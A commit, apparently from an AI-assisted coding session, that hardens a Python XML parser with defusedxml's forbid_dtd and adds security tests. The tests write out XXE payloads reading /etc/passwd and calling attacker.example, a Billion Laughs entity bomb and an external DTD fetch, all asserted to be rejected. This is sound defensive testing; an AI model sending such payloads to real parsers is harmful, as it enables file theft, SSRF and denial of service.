fix(sprint-S1.4): forbid_dtd=True + tests d'attaque XXE/Billion Laughs/DTD

Sprint S1.4 — verrouillage par tests d'attaque de la défense XML
revendiquée par ``defusedxml`` + durcissement nécessaire détecté
par les tests.

Découverte d'audit
------------------

L'écriture des tests d'attaque a révélé que ``defusedxml`` par
défaut autorise les déclarations ``<!DOCTYPE>`` (``forbid_dtd=False``).
Le fetch DTD distant est bloqué par ``forbid_external=True``, mais
le DOCTYPE traverse le parser sans rejet.

Reproduction (avant fix) ::

>>> import defusedxml.ElementTree as ET
>>> payload = b'<?xml version="1.0"?>'
... b'<!DOCTYPE root SYSTEM "http://attacker.example/evil.dtd">'
... b'<root>data</root>'
>>> ET.fromstring(payload) # accepte sans broncher
<Element 'root' at 0x...>

Pas une vulnérabilité critique (pas de SSRF effectif), mais un
écart entre la défense annoncée dans le docstring de
``safe_parse_xml`` (« anti-XXE / Billion Laughs / DTD retrieval »)
et le comportement réel.

Correctif
---------

``picarones/formats/_xml_utils.py:safe_parse_xml`` passe
``forbid_dtd=True`` à ``defusedxml.ElementTree.fromstring``.

Justification de non-régression :
- ALTO 4 utilise ``xmlns="http://www.loc.gov/standards/alto/ns-v4#"``,
pas de DOCTYPE.
- PAGE XML utilise ``xmlns="http://schema.primaresearch.org/...``,
pas de DOCTYPE.
- Aucun test fixture du repo (`tests/fixtures/`) ne contient
``<!DOCTYPE``.
- Tests verts : 4139 passed (vs 4131 avant — uniquement +8 nouveaux
tests S1.4, aucune régression).

Tests ajoutés (``tests/security/test_s1_xxe_attack.py``)
--------------------------------------------------------

9 tests nouveaux, en 5 classes :

1. ``TestXXEFileExfiltration`` (2 tests) — payloads
``<!ENTITY xxe SYSTEM "file:///etc/passwd">`` et HTTP variant
doivent retourner ``None``.

2. ``TestBillionLaughs`` — 5 niveaux d'entités imbriquées (``lol5``
= 10^5 expansion) doit retourner ``None``.

3. ``TestDTDRetrieval`` — ``<!DOCTYPE root SYSTEM "http://...">``
doit retourner ``None`` (couvre la découverte d'audit).

4. ``TestLegitimateXMLPasses`` (2 tests) — garde-fous : un ALTO
minimaliste valide et un XML avec entités internes standard
(``&``, ``<``) restent acceptés.

5. ``TestInvalidXMLReturnsNone`` (3 tests) — XML tronqué, bytes
vides, texte non-XML → ``None`` propre, pas d'exception qui
remonte.

Tests
-----

- ``pytest tests/security/test_s1_xxe_attack.py`` : 9 passed.
- ``pytest tests/`` : 4139 passed, 9 skipped, 24 deselected.
- ``ruff check`` : All checks passed.

Reste pour S1
-------------

- S1.5 : tests d'attaque ZIP slip.
- S1.6 : tests d'attaque SSRF.
- S1.7 : tests CSRF token requis.

https://claude.ai/code/session_01NxyVKqg2SowXLZdM4H1ZDE

CLAUDE.md

@@ -116,7 +116,7 @@ picarones/
 
 ## État des tests et bugs historiques
 
-`pytest tests/` → **4160 passed, 12 skipped, 8 deselected, 0 failed**
+`pytest tests/` → **4170 passed, 12 skipped, 8 deselected, 0 failed**
 (post-S59).  Les deselected sont les markers `live` (5 tests d'intégration
 contre vraie API/binaire) + `network` (3 tests qui hit le réseau réel),
 opt-in en local via `pytest -m live` ou `pytest -m network`.  Le
@@ -268,7 +268,7 @@ détecte, arbitre, rend.
 ## Contexte développement
 
 - **Environnement** : GitHub Codespaces, Python 3.11+
-- **Tests** : `pytest tests/ -q` → 4160 passed, 9 skipped, 24
+- **Tests** : `pytest tests/ -q` → 4170 passed, 9 skipped, 24
   deselected, 0 failed (post-v2.0).
 - **Manifeste architecture** : [`docs/explanation/architecture.md`](docs/explanation/architecture.md).
 - **API publique stable** : [`docs/reference/api-stable.md`](docs/reference/api-stable.md).

README.md

@@ -394,7 +394,7 @@ ruff check picarones/ tests/
 python -m mypy picarones/core/
 ```
 
-**Test suite**: ~4160 tests, ~3 min on a modern laptop. Coverage
+**Test suite**: ~4170 tests, ~3 min on a modern laptop. Coverage
 floor at 85% (currently ~87%). The `network` marker excludes tests
 requiring live HTTP. A handful of tests depend on optional engines
 (`pero-ocr`, `pytesseract`) and are skipped/fail gracefully when

picarones/formats/_xml_utils.py

@@ -32,7 +32,16 @@ import defusedxml.ElementTree as _SafeET
 
 
 def safe_parse_xml(xml_bytes: bytes) -> Optional[ET.Element]:
-    """Parse du XML en bloquant les entités externes.
+    """Parse du XML en bloquant entités externes ET ``<!DOCTYPE>``.
+
+    Sprint S1.4 — durcissement : ``forbid_dtd=True`` ajouté en plus
+    des défauts ``defusedxml`` (``forbid_entities=True``,
+    ``forbid_external=True``).  Sans ``forbid_dtd``, un payload
+    ``<?xml...?><!DOCTYPE root SYSTEM "http://attacker/evil.dtd">``
+    est accepté (le fetch est bloqué par ``forbid_external`` mais
+    le DOCTYPE traverse le parser).  ALTO 4 et PAGE XML utilisent
+    ``xmlns`` plutôt que DOCTYPE — le durcissement est sans
+    régression sur le corpus institutionnel.
 
     Retourne ``None`` si le payload n'est pas un XML valide ou si
     ``defusedxml`` détecte une attaque
@@ -40,7 +49,7 @@ def safe_parse_xml(xml_bytes: bytes) -> Optional[ET.Element]:
     ``DTDForbidden``, ``NotSupportedError``).
     """
     try:
-        return _SafeET.fromstring(xml_bytes)
+        return _SafeET.fromstring(xml_bytes, forbid_dtd=True)
     except (ET.ParseError, defusedxml.DefusedXmlException):
         return None
 

tests/security/test_s1_xxe_attack.py

@@ -0,0 +1,172 @@
+"""Sprint S1.4 — Tests d'attaque XXE / Billion Laughs / DTD retrieval.
+
+Vérifie que ``picarones.formats._xml_utils.safe_parse_xml``
+**rejette** les payloads malicieux que l'audit prétendait
+défendre via ``defusedxml``.
+
+Sans ces tests, la défense est invisible : un refactor pourrait
+bypasser ``defusedxml`` sans qu'aucun test n'échoue.
+
+Vecteurs couverts
+-----------------
+1. **XXE** (XML External Entity) — résolution d'entité vers un
+   fichier local ``/etc/passwd`` ou une URL distante.
+2. **Billion Laughs** — expansion exponentielle d'entités
+   (``lol1`` → ``lol2`` × 10 → ``lol3`` × 100 → ...).
+3. **DTD retrieval** — fetch d'une DTD distante (SSRF côté parser).
+4. **Quadratic blowup** — grosse entité répétée linéairement.
+"""
+
+from __future__ import annotations
+
+from picarones.formats._xml_utils import safe_parse_xml
+
+
+# ──────────────────────────────────────────────────────────────────────
+# 1. XXE — fichier local
+# ──────────────────────────────────────────────────────────────────────
+
+
+class TestXXEFileExfiltration:
+    """Une entité externe pointant sur ``/etc/passwd`` doit être
+    refusée — sinon le parser retourne le contenu du fichier dans
+    le résultat XML."""
+
+    def test_xxe_file_uri_is_blocked(self) -> None:
+        payload = (
+            b'<?xml version="1.0"?>'
+            b'<!DOCTYPE foo ['
+            b'  <!ENTITY xxe SYSTEM "file:///etc/passwd">'
+            b']>'
+            b'<root>&xxe;</root>'
+        )
+        result = safe_parse_xml(payload)
+        # safe_parse_xml retourne None en cas de détection d'attaque
+        # (defusedxml.EntitiesForbidden / DTDForbidden).
+        assert result is None, (
+            "XXE non bloqué : safe_parse_xml a accepté un payload "
+            "avec ``<!ENTITY xxe SYSTEM \"file:///...\">`` ; un "
+            "attaquant pourrait exfiltrer ``/etc/passwd`` ou tout "
+            "autre fichier lisible par le process."
+        )
+
+    def test_xxe_http_uri_is_blocked(self) -> None:
+        """Variante : entité externe vers une URL HTTP (SSRF côté
+        parser, peut exfiltrer la requête vers un serveur de
+        l'attaquant)."""
+        payload = (
+            b'<?xml version="1.0"?>'
+            b'<!DOCTYPE foo ['
+            b'  <!ENTITY xxe SYSTEM "http://attacker.example/leak">'
+            b']>'
+            b'<root>&xxe;</root>'
+        )
+        result = safe_parse_xml(payload)
+        assert result is None
+
+
+# ──────────────────────────────────────────────────────────────────────
+# 2. Billion Laughs — DoS par expansion d'entités
+# ──────────────────────────────────────────────────────────────────────
+
+
+class TestBillionLaughs:
+    """L'attaque historique XML : 10 entités imbriquées → 10^10
+    expansion = OOM kill."""
+
+    def test_billion_laughs_is_blocked(self) -> None:
+        payload = (
+            b'<?xml version="1.0"?>'
+            b'<!DOCTYPE lolz ['
+            b'  <!ENTITY lol "lol">'
+            b'  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">'
+            b'  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">'
+            b'  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">'
+            b'  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">'
+            b']>'
+            b'<lolz>&lol5;</lolz>'
+        )
+        result = safe_parse_xml(payload)
+        assert result is None, (
+            "Billion Laughs non bloqué : le parser a accepté une "
+            "expansion exponentielle d'entités (DoS / OOM)."
+        )
+
+
+# ──────────────────────────────────────────────────────────────────────
+# 3. DTD retrieval — DoCTYPE externe
+# ──────────────────────────────────────────────────────────────────────
+
+
+class TestDTDRetrieval:
+    """Une DTD externe est un fetch HTTP/HTTPS depuis le parser ;
+    c'est une SSRF + fuite d'info."""
+
+    def test_external_dtd_is_blocked(self) -> None:
+        payload = (
+            b'<?xml version="1.0"?>'
+            b'<!DOCTYPE root SYSTEM "http://attacker.example/evil.dtd">'
+            b'<root>data</root>'
+        )
+        result = safe_parse_xml(payload)
+        assert result is None, (
+            "DTD retrieval non bloqué : ``<!DOCTYPE root SYSTEM "
+            "\"http://...\">`` peut déclencher une requête HTTP "
+            "depuis le serveur Picarones (SSRF)."
+        )
+
+
+# ──────────────────────────────────────────────────────────────────────
+# 4. Sanity — XML légitime doit passer
+# ──────────────────────────────────────────────────────────────────────
+
+
+class TestLegitimateXMLPasses:
+    """Garde-fou : les durcissements ne doivent pas casser un
+    document ALTO ou PAGE XML sans entités."""
+
+    def test_simple_alto_xml_parses(self) -> None:
+        payload = (
+            b'<?xml version="1.0" encoding="UTF-8"?>'
+            b'<alto xmlns="http://www.loc.gov/standards/alto/ns-v4#">'
+            b'  <Layout>'
+            b'    <Page WIDTH="1000" HEIGHT="1500"/>'
+            b'  </Layout>'
+            b'</alto>'
+        )
+        result = safe_parse_xml(payload)
+        assert result is not None, (
+            "ALTO XML légitime refusé — fausse alerte."
+        )
+        assert result.tag.endswith("alto")
+
+    def test_xml_with_entities_internes_parses(self) -> None:
+        """Les entités HTML standards (&amp;, &lt;, &gt;, &quot;,
+        &apos;) doivent rester acceptées (resolved par le parser
+        sans aller chercher de DTD)."""
+        payload = (
+            b'<?xml version="1.0"?>'
+            b'<root>R&amp;D &lt;tag&gt;</root>'
+        )
+        result = safe_parse_xml(payload)
+        assert result is not None
+        assert result.text == "R&D <tag>"
+
+
+# ──────────────────────────────────────────────────────────────────────
+# 5. XML invalide retourne None (pas d'exception qui remonte)
+# ──────────────────────────────────────────────────────────────────────
+
+
+class TestInvalidXMLReturnsNone:
+    def test_truncated_xml_returns_none(self) -> None:
+        result = safe_parse_xml(b'<root>')
+        assert result is None
+
+    def test_empty_bytes_returns_none(self) -> None:
+        result = safe_parse_xml(b'')
+        assert result is None
+
+    def test_non_xml_bytes_returns_none(self) -> None:
+        result = safe_parse_xml(b'not xml at all just text')
+        assert result is None